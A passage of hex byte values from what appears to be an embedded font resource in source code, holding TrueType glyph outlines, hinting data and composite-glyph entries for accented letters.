0xfe,0xe2,0xfe,0xdf,0xfe,0x68,0x1,0x98,0x1,0x20,0xfd,0xfe,0x9a,0x1,0x66,0xfd, + 0xfc,0x1,0x65,0xfe,0x9c,0x1,0x2c,0x3,0xb,0xe4,0xa6,0x24,0x21,0x75,0xc7,0xb3, + 0x7d,0xfe,0xd0,0x1,0x8c,0x86,0x63,0x3a,0x1,0x88,0xfe,0x68,0xfe,0xe0,0xfe,0xe0, + 0xfe,0x67,0x1,0x98,0x1,0x21,0x1,0x20,0x1,0x98,0x48,0xfe,0x93,0xfe,0xfd,0xfe, + 0xfd,0xfe,0x92,0x1,0x6e,0x1,0x3,0x1,0x3,0x1,0x6d,0x0,0x1,0x0,0x0,0x1, + 0x9a,0x2,0x38,0x3,0xd2,0x0,0xb,0x0,0x14,0xb0,0x9,0x2f,0xb1,0x3,0x9,0x10, + 0xcd,0x0,0xb1,0x0,0x2,0x3f,0xb1,0x6,0x0,0x10,0xcd,0x31,0x30,0x1,0x32,0x16, + 0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x34,0x36,0x1,0x1e,0x75,0xa5,0xa6,0x74,0x76, + 0xa8,0xa7,0x3,0xd2,0xa7,0x75,0x75,0xa7,0xa7,0x75,0x76,0xa6,0x0,0x0,0x2,0x0, + 0x0,0xff,0xcb,0x4,0x27,0x5,0x8b,0x0,0x3,0x0,0x7,0x0,0x51,0xb7,0x7,0x6, + 0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb3, + 0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0x13,0xb6,0x1,0x1,0x2,0x0,0x0,0x3,0x0, + 0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x40,0xc,0x1,0x1,0x7,0x6,0x5,0x3,0x1, + 0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb6,0x1,0x1, + 0x4,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x31,0x30,0x9,0x7, + 0x2,0x14,0x2,0x13,0xfd,0xed,0xfd,0xec,0x2,0x14,0xfe,0xaf,0x1,0x51,0x1,0x51, + 0x5,0x8b,0xfd,0x20,0xfd,0x20,0x2,0xe0,0x1,0xd0,0xfe,0x30,0xfe,0x31,0x1,0xcf, + 0x0,0x0,0x2,0x0,0x0,0x0,0x0,0x4,0xe1,0x5,0x55,0x0,0x3,0x0,0x6,0x0, + 0x33,0xb6,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x0,0xb7,0x1,0x2,0x1,0x0,0x4,0x5,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd, + 0xcd,0x13,0xb1,0x0,0x3,0x2f,0x3c,0xb4,0x1,0x6,0x1,0x2,0x0,0x13,0x11,0x12, + 0x39,0x13,0x31,0x30,0x31,0x1,0x33,0x1,0x25,0x21,0x1,0x2,0x24,0x96,0x2,0x27, + 0xfb,0xe8,0x3,0x4d,0xfe,0x59,0x5,0x55,0xfa,0xab,0x82,0x4,0x28,0x0,0x1,0x0, + 0x0,0x0,0xe6,0x3,0x78,0x4,0x75,0x0,0x13,0x0,0x70,0xb4,0x13,0x12,0xf,0xe, + 0x3,0x17,0x2f,0x3c,0xb4,0x9,0x8,0x5,0x4,0x3,0x17,0x2f,0x3c,0x40,0xf,0x11, + 0x10,0xd,0xc,0xb,0xa,0x7,0x6,0x3,0x2,0x1,0x0,0xc,0x4,0xe,0x11,0x12, + 0x17,0x39,0x0,0xb4,0x10,0xf,0x8,0x7,0x3,0x17,0x2f,0x3c,0xb4,0x0,0x13,0x4, + 0x3,0x3,0x17,0x2f,0x3c,0xb5,0xe,0xd,0xa,0x9,0x3,0x7,0x10,0x17,0xdd,0x3c, + 0xb5,0x12,0x11,0x6,0x5,0x3,0x3,0x10,0x17,0xdd,0x3c,0xb5,0x1,0xc,0xb,0x9, + 0x0,0x0,0x13,0x11,0x12,0x39,0x39,0x13,0xb7,0x1,0x1,0x2,0x1,0x1,0x0,0x2, + 0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x31,0x30,0x1,0x37,0x17,0x7,0x21, + 0x15,0x21,0x7,0x21,0x15,0x21,0x7,0x27,0x37,0x21,0x35,0x21,0x37,0x21,0x35,0x1, + 0xea,0x70,0x62,0x5c,0x1,0x18,0xfe,0xae,0x5c,0x1,0xae,0xfe,0x18,0x72,0x61,0x5e, + 0xfe,0xe5,0x1,0x55,0x5c,0xfe,0x4f,0x3,0x8e,0xe7,0x26,0xc1,0x7d,0xc1,0x7d,0xed, + 0x26,0xc7,0x7d,0xc1,0x7d,0x0,0x1,0x0,0x0,0x0,0x0,0x5,0x55,0x6,0xa1,0x0, + 0x14,0x0,0x62,0xb1,0x7,0x6,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0x14,0x14, + 0x13,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x5,0x4,0x3,0x2, + 0x11,0x1,0x6,0x11,0x12,0x17,0x39,0x0,0xb1,0x4,0x3,0x2f,0x3c,0xb1,0x8,0x7, + 0x2f,0x3c,0xb1,0x0,0x14,0x2f,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0xb2,0x2, + 0x1,0x14,0x10,0xdd,0x3c,0x40,0xd,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb,0xa, + 0x9,0xa,0x5,0x3,0x11,0x12,0x17,0x39,0xb4,0x1,0x13,0x2,0x0,0x7,0x11,0x14, + 0x12,0x39,0x14,0x31,0x30,0x1,0x15,0x21,0x1,0x23,0x3,0x23,0x35,0x21,0x13,0x16, + 0x1f,0x2,0x33,0x36,0x3f,0x2,0x1b,0x1,0x5,0x55,0xfe,0x6c,0xfe,0x3e,0xab,0xac, + 0xa8,0x1,0x1a,0x4f,0x9,0x15,0x18,0x7,0xa,0x7,0x2,0x20,0x34,0x5b,0xe1,0x6, + 0xa1,0x82,0xf9,0xe1,0x2,0x69,0x82,0xfe,0xf2,0x1e,0x65,0x77,0x20,0x22,0x8,0x87, + 0xd8,0x1,0x3c,0x3,0x19,0x0,0x1,0x0,0x0,0xfe,0x2,0x2,0x6a,0x6,0x0,0x0, + 0x17,0x0,0x63,0xb1,0x7,0x6,0x2f,0x3c,0xb2,0x13,0x12,0x6,0x10,0xdd,0x3c,0xb2, + 0x1,0x0,0x6,0x10,0xc0,0xc0,0xb2,0xd,0xc,0x12,0x10,0xc0,0xc0,0x0,0xb4,0x1, + 0x16,0x0,0x3,0x0,0x13,0x10,0xc0,0xc4,0x13,0xb5,0x1,0xd,0xc,0xa,0x1,0x0, + 0x13,0x10,0xc4,0xc0,0xc0,0x13,0x40,0xa,0x1,0x1,0x13,0x6,0x1,0x3,0x0,0x0, + 0x3,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x1,0x12,0x7,0x1, + 0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0xb3,0xf,0xa,0x3,0x16, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x11,0x37,0x16,0x33,0x32,0x36,0x35,0x11,0x34,0x36, + 0x33,0x32,0x17,0x7,0x26,0x23,0x22,0x15,0x7,0x11,0x14,0x6,0x23,0x22,0x20,0x33, + 0x27,0x4b,0x2a,0x60,0x95,0x38,0x4e,0x20,0x33,0x26,0x75,0x1,0x67,0xa2,0x3d,0xfe, + 0x16,0x7c,0xe,0x55,0x9a,0x5,0x1,0xf0,0x9c,0x17,0x7c,0x11,0xca,0x64,0xfb,0x3c, + 0xf1,0x99,0x0,0x0,0x2,0x0,0x0,0x1,0x78,0x3,0xd8,0x3,0xea,0x0,0x12,0x0, + 0x25,0x0,0x59,0xb7,0x1d,0x1c,0x14,0x13,0xa,0x9,0x1,0x0,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x14,0x1f,0x16,0xc,0x1,0x1,0x1f,0x1d,0x1c,0x16, + 0x14,0x13,0xc,0xa,0x1,0x0,0xa,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17, + 0x39,0x13,0x14,0x2f,0x2f,0x2f,0xb6,0x1,0x1,0x9,0x1,0x0,0x2,0x0,0x13,0x11, + 0x14,0x12,0x39,0x13,0x14,0xb1,0x3,0x2,0x3f,0xb7,0x24,0x16,0x1a,0x1f,0x11,0x3, + 0x7,0xc,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x13,0x27,0x36,0x33, + 0x32,0x17,0x16,0x33,0x32,0x37,0x17,0x6,0x23,0x22,0x2f,0x1,0x26,0x23,0x22,0x3, + 0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x37,0x17,0x6,0x23,0x22,0x2f,0x1,0x26, + 0x23,0x22,0x54,0x54,0x6d,0xaa,0x4d,0x99,0x8d,0x3d,0x66,0x55,0x56,0x73,0xab,0x4c, + 0x62,0x76,0x55,0x36,0x65,0x52,0x54,0x6c,0xab,0x4d,0x99,0x8d,0x3d,0x65,0x56,0x56, + 0x72,0xac,0x4b,0x63,0x76,0x55,0x35,0x67,0x2,0xc8,0x36,0xe8,0x4b,0x45,0x94,0x32, + 0xe4,0x2f,0x38,0x29,0xfe,0x14,0x36,0xe8,0x4b,0x45,0x94,0x33,0xe3,0x2f,0x38,0x29, + 0x0,0x0,0x1,0x0,0x0,0x0,0xd7,0x3,0x77,0x4,0x8b,0x0,0x6,0x0,0x3f,0xb1, + 0x6,0x5,0x2f,0x3c,0xb4,0x0,0x4,0x3,0x1,0x3,0x17,0x2f,0x3c,0xb2,0x2,0x1, + 0x5,0x11,0x12,0x39,0x0,0x40,0xc,0x1,0x1,0x6,0x5,0x4,0x3,0x2,0x5,0x2, + 0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x1,0x1,0x0, + 0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x31,0x30,0x1,0x15, + 0x9,0x1,0x15,0x1,0x35,0x3,0x77,0xfd,0x1f,0x2,0xe1,0xfc,0x89,0x4,0x8b,0x8c, + 0xfe,0xb2,0xfe,0xb1,0x8b,0x1,0x9d,0x7a,0x0,0x0,0x1,0x0,0x0,0x0,0xd7,0x3, + 0x77,0x4,0x8a,0x0,0x6,0x0,0x3f,0xb4,0x0,0x4,0x3,0x1,0x3,0x17,0x2f,0x3c, + 0xb1,0x6,0x5,0x2f,0x3c,0xb2,0x2,0x5,0x1,0x11,0x12,0x39,0x0,0x40,0xc,0x1, + 0x1,0x6,0x5,0x2,0x1,0x0,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17, + 0x39,0x13,0x14,0xb7,0x1,0x1,0x4,0x3,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12, + 0x39,0x39,0x13,0x14,0x31,0x30,0x3d,0x1,0x9,0x1,0x35,0x1,0x15,0x2,0xe1,0xfd, + 0x1f,0x3,0x77,0xd7,0x8c,0x1,0x4e,0x1,0x4e,0x8b,0xfe,0x63,0x7a,0x0,0x2,0x0, + 0x0,0x0,0x81,0x3,0x77,0x4,0xd7,0x0,0x6,0x0,0xa,0x0,0x55,0xb1,0x6,0x5, + 0x2f,0x3c,0xb4,0x0,0x4,0x3,0x1,0x3,0x17,0x2f,0x3c,0xb1,0xa,0x9,0x2f,0x3c, + 0xb1,0x7,0x8,0x2f,0x3c,0xb2,0x2,0x1,0x5,0x11,0x12,0x39,0x0,0xb1,0x9,0x8, + 0x2f,0x3c,0xb2,0x7,0xa,0x8,0x10,0xdd,0x3c,0x40,0xc,0x1,0x1,0x6,0x5,0x4, + 0x3,0x2,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7, + 0x1,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14, + 0x31,0x30,0x1,0x15,0x9,0x1,0x15,0x1,0x35,0x1,0x15,0x21,0x35,0x3,0x77,0xfd, + 0x1f,0x2,0xe1,0xfc,0x89,0x3,0x77,0xfc,0x89,0x4,0xd7,0x86,0xfe,0xba,0xfe,0xbb, + 0x86,0x1,0x8c,0x7b,0xfd,0xbc,0x82,0x82,0x0,0x0,0x2,0x0,0x0,0x0,0x81,0x3, + 0x77,0x4,0xd7,0x0,0x6,0x0,0xa,0x0,0x55,0xb4,0x0,0x4,0x3,0x1,0x3,0x17, + 0x2f,0x3c,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0x7,0x8,0x2f,0x3c,0xb1,0xa,0x9,0x2f, + 0x3c,0xb2,0x2,0x5,0x1,0x11,0x12,0x39,0x0,0xb1,0x7,0xa,0x2f,0x3c,0xb2,0x9, + 0x8,0xa,0x10,0xdd,0x3c,0x40,0xc,0x1,0x1,0x6,0x5,0x2,0x1,0x0,0x5,0x2, + 0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x1,0x4,0x3, + 0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x31,0x30,0x11,0x35, + 0x9,0x1,0x35,0x1,0x15,0x1,0x35,0x21,0x15,0x2,0xe1,0xfd,0x1f,0x3,0x77,0xfc, + 0x89,0x3,0x77,0x1,0x40,0x86,0x1,0x46,0x1,0x45,0x86,0xfe,0x6f,0x7a,0xfd,0xb5, + 0x82,0x82,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x3,0x77,0x2,0x22,0x0,0x5,0x0, + 0x25,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x5,0x4,0x2f,0x3c,0xb2,0x0,0x1,0x4,0x10, + 0xdd,0x3c,0x0,0xb1,0x0,0x5,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x4,0x3, + 0x1,0x10,0xdd,0x3c,0x31,0x30,0x21,0x11,0x21,0x35,0x21,0x11,0x2,0xeb,0xfd,0x15, + 0x3,0x77,0x1,0xa0,0x82,0xfd,0xde,0x0,0x3,0x0,0x0,0x1,0x80,0x5,0xa,0x3, + 0xf2,0x0,0x10,0x0,0x18,0x0,0x20,0x0,0x5b,0xb5,0x19,0x11,0xd,0x9,0x4,0x0, + 0x2e,0x2f,0x2e,0x2f,0x2e,0x2e,0xb3,0x1d,0x4,0x15,0xd,0x10,0xcd,0x10,0xcd,0x0, + 0x40,0xf,0xf,0x2,0x1,0x1,0x19,0x11,0xf,0x9,0x2,0x0,0x6,0x2,0x0,0x0, + 0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0x2f,0x40,0xa,0xb,0x7,0x1, + 0x1,0xb,0x7,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x2f, + 0x2f,0xb7,0x1f,0x2,0x1b,0x7,0x17,0xb,0x13,0xf,0x10,0xcd,0x10,0xcd,0x10,0xcd, + 0x10,0xcd,0x31,0x30,0x1,0x6,0x23,0x20,0x11,0x34,0x36,0x33,0x32,0x17,0x36,0x33, + 0x20,0x11,0x10,0x21,0x22,0x3,0x16,0x33,0x32,0x35,0x34,0x23,0x22,0x5,0x26,0x23, + 0x22,0x15,0x14,0x33,0x32,0x2,0x88,0x99,0xb9,0xfe,0xca,0xae,0x89,0xb8,0x93,0x94, + 0xc0,0x1,0x34,0xfe,0xce,0xbe,0x4f,0x7e,0x83,0xb9,0xbb,0x7f,0xfe,0xf3,0x7b,0x85, + 0xb9,0xbb,0x7f,0x2,0x5b,0xda,0x1,0x39,0x89,0xaf,0xda,0xda,0xfe,0xc6,0xfe,0xc8, + 0x1,0x39,0xc5,0xc8,0xc2,0xc6,0xc6,0xc7,0xc2,0x0,0x1,0x0,0x0,0xfe,0x0,0x4, + 0xfd,0x6,0x0,0x0,0x13,0x0,0x66,0xb4,0x0,0x13,0x10,0xf,0x3,0x17,0x2f,0x3c, + 0xb1,0x12,0x11,0x2f,0x3c,0xb1,0x4,0x3,0x2f,0x3c,0xb4,0x6,0x5,0x2,0x1,0x3, + 0x17,0x2f,0x3c,0xb2,0xe,0xd,0xf,0x10,0xdd,0x3c,0xb2,0xa,0x9,0x3,0x10,0xdd, + 0x3c,0xb2,0xc,0xb,0x11,0x10,0xdd,0x3c,0xb2,0x8,0x7,0x1,0x10,0xdd,0x3c,0x0, + 0xb4,0xf,0xe,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xa, + 0x11,0x10,0xd,0xc,0x9,0x8,0x5,0x4,0x7,0x6,0x10,0x17,0xdd,0x3c,0xb7,0x13, + 0x12,0xb,0xa,0x3,0x2,0x5,0x1,0x10,0x17,0xdd,0x3c,0x31,0x30,0x11,0x21,0x15, + 0x23,0x11,0x33,0x15,0x21,0x35,0x33,0x11,0x21,0x11,0x33,0x15,0x21,0x35,0x33,0x11, + 0x23,0x4,0xfd,0xa3,0xa3,0xfe,0x29,0xa8,0xfd,0x60,0xa9,0xfe,0x29,0xa2,0xa2,0x6, + 0x0,0x82,0xf9,0x4,0x82,0x82,0x6,0xfc,0xf9,0x4,0x82,0x82,0x6,0xfc,0x0,0x0, + 0x1,0x0,0x0,0xfe,0x0,0x4,0x9e,0x6,0x0,0x0,0xf,0x0,0x70,0xb4,0xf,0xe, + 0xc,0xb,0x3,0x17,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xa,0x9,0x2f,0x3c, + 0x40,0xb,0xd,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x8,0x1,0xb,0x11,0x12,0x17, + 0x39,0x0,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x0,0xf,0x2f,0x3c,0xb2,0x9,0x8,0xa, + 0x10,0xdd,0x3c,0xb2,0x7,0x6,0xa,0x10,0xdd,0x3c,0xb2,0x4,0x3,0xf,0x10,0xdd, + 0x3c,0xb2,0x2,0x1,0xf,0x10,0xdd,0x3c,0xb2,0xc,0x8,0x6,0x11,0x12,0x39,0xb7, + 0x1,0x1,0xd,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14, + 0xb4,0x1,0xe,0x3,0x1,0x0,0x13,0x11,0x12,0x39,0x13,0x31,0x30,0x1,0x11,0x23, + 0x3,0x21,0x9,0x1,0x21,0x13,0x33,0x11,0x21,0x35,0x9,0x1,0x35,0x4,0x8b,0x80, + 0xc,0xfc,0x9d,0x2,0x6,0xfd,0xfa,0x3,0x76,0x7,0x85,0xfb,0x62,0x1,0xfe,0xfe, + 0x2,0x6,0x0,0xfe,0x30,0x1,0x4e,0xfc,0xad,0xfc,0x57,0x1,0x4e,0xfe,0x30,0x93, + 0x3,0x98,0x3,0x47,0x8e,0x0,0x2,0x0,0x0,0xff,0xe9,0x3,0x7f,0x5,0x5d,0x0, + 0x12,0x0,0x1e,0x0,0x50,0xb4,0xf,0xa,0x4,0x1,0x0,0x2e,0x2e,0x2f,0x2f,0x2e, + 0xb3,0x1c,0x4,0x16,0xa,0x10,0xcd,0x10,0xcd,0x0,0xb3,0x1,0x1,0x1,0x0,0x13, + 0x10,0xc0,0x13,0x40,0x9,0xd,0x1,0x1,0xf,0xd,0x2,0x0,0x0,0x0,0x13,0x11, + 0x14,0x12,0x39,0x39,0x13,0x14,0x2f,0xb6,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13, + 0x11,0x14,0x12,0x39,0x13,0x14,0xb1,0x7,0x0,0x3f,0xb3,0x19,0x7,0x13,0xd,0x10, + 0xcd,0x10,0xcd,0x31,0x30,0x13,0x37,0x4,0x0,0x11,0x14,0x2,0x23,0x22,0x0,0x35, + 0x34,0x12,0x33,0x32,0x17,0x26,0x27,0x2,0x3,0x22,0x6,0x15,0x14,0x16,0x33,0x32, + 0x36,0x35,0x34,0x26,0x71,0x13,0x1,0x6b,0x1,0x90,0xf6,0xc8,0xb8,0xfe,0xf7,0xf7, + 0xae,0xbd,0x7b,0x9,0x4,0xa7,0x60,0x82,0xb4,0xb2,0x7c,0x80,0xab,0xa5,0x4,0xe0, + 0x7d,0x33,0xfe,0x35,0xfe,0x93,0xe9,0xfe,0xe0,0x1,0x10,0xbe,0xba,0x1,0xa,0x9c, + 0x16,0xb,0x1,0xa2,0xfe,0x6c,0xcc,0x93,0x8e,0xcb,0xcf,0x9b,0x91,0xbd,0x0,0x0, + 0x1,0x0,0x0,0x2,0xf0,0x3,0x92,0x5,0x59,0x0,0x6,0x0,0x2f,0xb6,0x6,0x5, + 0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb4,0x0,0x5, + 0x4,0x1,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb6,0x1,0x1,0x6,0x1, + 0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x31,0x30,0x13,0x23,0x1,0x33, + 0x1,0x23,0x1,0x98,0x98,0x1,0x6d,0xb8,0x1,0x6d,0x99,0xfe,0xce,0x2,0xf0,0x2, + 0x69,0xfd,0x97,0x1,0xfa,0x0,0x1,0x0,0x0,0xfe,0xab,0x0,0x8c,0x5,0x55,0x0, + 0x3,0x0,0x1f,0xb1,0x0,0x3,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,0x3c,0x0, + 0xb4,0x1,0x0,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x3,0x2,0x2f,0x3c, + 0x31,0x30,0x11,0x33,0x11,0x23,0x8c,0x8c,0x5,0x55,0xf9,0x56,0x0,0x0,0x1,0x0, + 0x0,0xfe,0xf6,0x4,0x0,0xff,0x78,0x0,0x3,0x0,0x19,0xb1,0x0,0x3,0x2f,0x3c, + 0xb1,0x2,0x1,0x2f,0x3c,0x0,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10, + 0xdd,0x3c,0x31,0x30,0x15,0x21,0x15,0x21,0x4,0x0,0xfc,0x0,0x88,0x82,0x0,0x0, + 0x1,0x0,0x0,0x0,0x0,0x4,0x28,0x3,0xd5,0x0,0xb,0x0,0x40,0xb1,0x3,0x2, + 0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb1,0x5,0x4,0x2f, + 0x3c,0xb2,0x9,0x8,0x6,0x10,0xdd,0x3c,0xb2,0xb,0xa,0x1,0x10,0xdd,0x3c,0x0, + 0xb4,0x0,0xb,0x8,0x7,0x3,0x17,0x2f,0x3c,0xb1,0x4,0x3,0x2f,0x3c,0xb7,0xa, + 0x9,0x6,0x5,0x2,0x1,0x5,0x3,0x10,0x17,0xdd,0x3c,0x31,0x30,0x33,0x11,0x23, + 0x35,0x21,0x15,0x23,0x11,0x23,0x11,0x21,0x11,0x98,0x98,0x4,0x28,0x96,0x8c,0xfe, + 0x1e,0x3,0x53,0x82,0x82,0xfc,0xad,0x3,0x53,0xfc,0xad,0x0,0x1,0x0,0x0,0x4, + 0xac,0x3,0xd8,0x5,0xce,0x0,0x12,0x0,0x38,0xb3,0xa,0x9,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x0,0xb5,0x1,0xa,0x9,0x3,0x1,0x0,0x13,0x10,0xc4,0xc0,0xc0,0x13, + 0x40,0xb,0xc,0x1,0x1,0xc,0x1,0x0,0x3,0x1,0x0,0x2,0x0,0x13,0x11,0x14, + 0x12,0x17,0x39,0x13,0x14,0x2f,0xb3,0x11,0x3,0x7,0xc,0x10,0xcd,0x10,0xcd,0x31, + 0x30,0x13,0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x37,0x17,0x6,0x23,0x22,0x2f, + 0x1,0x26,0x23,0x22,0x54,0x54,0x73,0xa4,0x4d,0x99,0x8d,0x3d,0x66,0x55,0x56,0x72, + 0xac,0x4b,0x63,0x76,0x55,0x36,0x64,0x4,0xac,0x36,0xe8,0x4a,0x45,0x93,0x33,0xe2, + 0x2f,0x37,0x29,0x0,0x1,0x0,0x0,0xfe,0xaa,0x3,0x39,0x3,0xd7,0x0,0x11,0x0, + 0x50,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xa,0x9,0x2f,0x3c,0xb5,0x11,0x10,0x3,0x2, + 0x3,0x1,0x10,0x17,0xdd,0x3c,0xb5,0xc,0xb,0x8,0x7,0x3,0x9,0x10,0x17,0xdd, + 0x3c,0x0,0xb1,0x0,0x11,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb4,0x9,0x8,0x2, + 0x1,0x3,0x17,0x2f,0x3c,0x40,0x9,0x1,0x10,0xc,0x7,0x3,0x4,0x2,0x0,0xa, + 0x11,0x14,0x12,0x17,0x39,0x14,0xb1,0xe,0x0,0x3f,0xb1,0x5,0xe,0x10,0xcd,0x31, + 0x30,0x19,0x1,0x33,0x11,0x10,0x21,0x20,0x19,0x1,0x33,0x11,0x23,0x35,0x6,0x23, + 0x22,0x27,0x11,0x8c,0x1,0xc,0x1,0x15,0x8c,0x8c,0x5c,0xbc,0xa9,0x60,0xfe,0xaa, + 0x5,0x2d,0xfd,0xd1,0xfe,0xab,0x1,0x68,0x2,0x1c,0xfc,0x29,0xb4,0xce,0x98,0xfe, + 0x2c,0x0,0x1,0x0,0x0,0x0,0x0,0x4,0xe1,0x5,0x76,0x0,0x1b,0x0,0x60,0xb2, + 0x0,0x4,0x1,0x2f,0x3c,0x3c,0xb2,0xe,0xd,0xa,0x2f,0x3c,0x3c,0xb2,0x1b,0x1a, + 0x1,0x10,0xdd,0x3c,0xb2,0x10,0xf,0xa,0x10,0xdd,0x3c,0xb2,0x2,0x1a,0x1,0x11, + 0x12,0x39,0xb2,0xc,0xa,0xf,0x11,0x12,0x39,0xb3,0x18,0x4,0x12,0xa,0x10,0xcd, + 0x10,0xcd,0x0,0xb6,0x1,0xd,0xc,0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd, + 0xcd,0x13,0xb4,0x0,0x1b,0xf,0xe,0x3,0x17,0x2f,0x3c,0xb3,0x1a,0x10,0x1,0xe, + 0x11,0x12,0x39,0x39,0xb1,0x7,0x1,0x3f,0xb1,0x15,0x7,0x10,0xcd,0x31,0x30,0x31, + 0x35,0x21,0x24,0x11,0x10,0x0,0x21,0x20,0x0,0x11,0x10,0x5,0x21,0x15,0x21,0x35, + 0x24,0x11,0x34,0x0,0x23,0x22,0x0,0x15,0x10,0x5,0x15,0x1,0x77,0xfe,0x89,0x1, + 0x6a,0x1,0x7,0x1,0x7,0x1,0x69,0xfe,0x89,0x1,0x77,0xfd,0xe8,0x1,0x85,0xfe, + 0xea,0xc7,0xca,0xfe,0xec,0x1,0x85,0x82,0xd9,0x1,0x8e,0x1,0x13,0x1,0x7a,0xfe, + 0x86,0xfe,0xed,0xfe,0x71,0xd8,0x82,0x76,0xde,0x1,0x84,0xe1,0x1,0x3b,0xfe,0xc8, + 0xe5,0xfe,0x7b,0xdc,0x76,0xff,0xff,0x0,0xa,0x0,0x0,0x4,0xd4,0x6,0x7c,0x0, + 0x36,0x0,0x5,0x0,0x0,0x0,0x16,0x0,0xed,0x0,0x0,0xff,0xff,0x0,0xa,0x0, + 0x0,0x4,0xd4,0x6,0xcd,0x0,0x36,0x0,0x5,0x0,0x0,0x0,0x16,0x0,0xee,0x0, + 0x0,0xff,0xff,0x0,0xa,0x0,0x0,0x4,0xd4,0x6,0xcd,0x0,0x36,0x0,0x5,0x0, + 0x0,0x0,0x16,0x0,0xef,0x0,0x0,0xff,0xff,0x0,0xa,0x0,0x0,0x4,0xd4,0x6, + 0xc7,0x0,0x36,0x0,0x5,0x0,0x0,0x0,0x16,0x0,0xf0,0x0,0x0,0xff,0xff,0x0, + 0xa,0x0,0x0,0x4,0xd4,0x6,0xa2,0x0,0x36,0x0,0x5,0x0,0x0,0x0,0x16,0x0, + 0xf1,0x0,0x0,0xff,0xff,0x0,0xa,0x0,0x0,0x4,0xd4,0x6,0xef,0x0,0x36,0x0, + 0x5,0x0,0x0,0x0,0x16,0x0,0xf2,0x0,0x0,0xff,0xff,0x0,0x4b,0x0,0x0,0x3, + 0xb8,0x6,0x7c,0x0,0x36,0x0,0x9,0x0,0x0,0x0,0x16,0x0,0xf3,0x0,0x0,0xff, + 0xff,0x0,0x4b,0x0,0x0,0x3,0xb8,0x6,0xcd,0x0,0x36,0x0,0x9,0x0,0x0,0x0, + 0x16,0x0,0xf4,0x0,0x0,0xff,0xff,0x0,0x4b,0x0,0x0,0x3,0xb8,0x6,0xcd,0x0, + 0x36,0x0,0x9,0x0,0x0,0x0,0x16,0x0,0xf5,0x0,0x0,0xff,0xff,0x0,0x4b,0x0, + 0x0,0x3,0xb8,0x6,0xc7,0x0,0x36,0x0,0x9,0x0,0x0,0x0,0x16,0x0,0xf6,0x0, + 0x0,0xff,0xff,0x0,0x15,0x0,0x0,0x1,0x8b,0x6,0x7c,0x0,0x36,0x0,0xd,0x0, + 0x0,0x0,0x16,0x0,0xf7,0x0,0x0,0xff,0xff,0x0,0x6f,0x0,0x0,0x1,0xd5,0x6, + 0xcd,0x0,0x36,0x0,0xd,0x0,0x0,0x0,0x16,0x0,0xf8,0x0,0x0,0xff,0xff,0xff, + 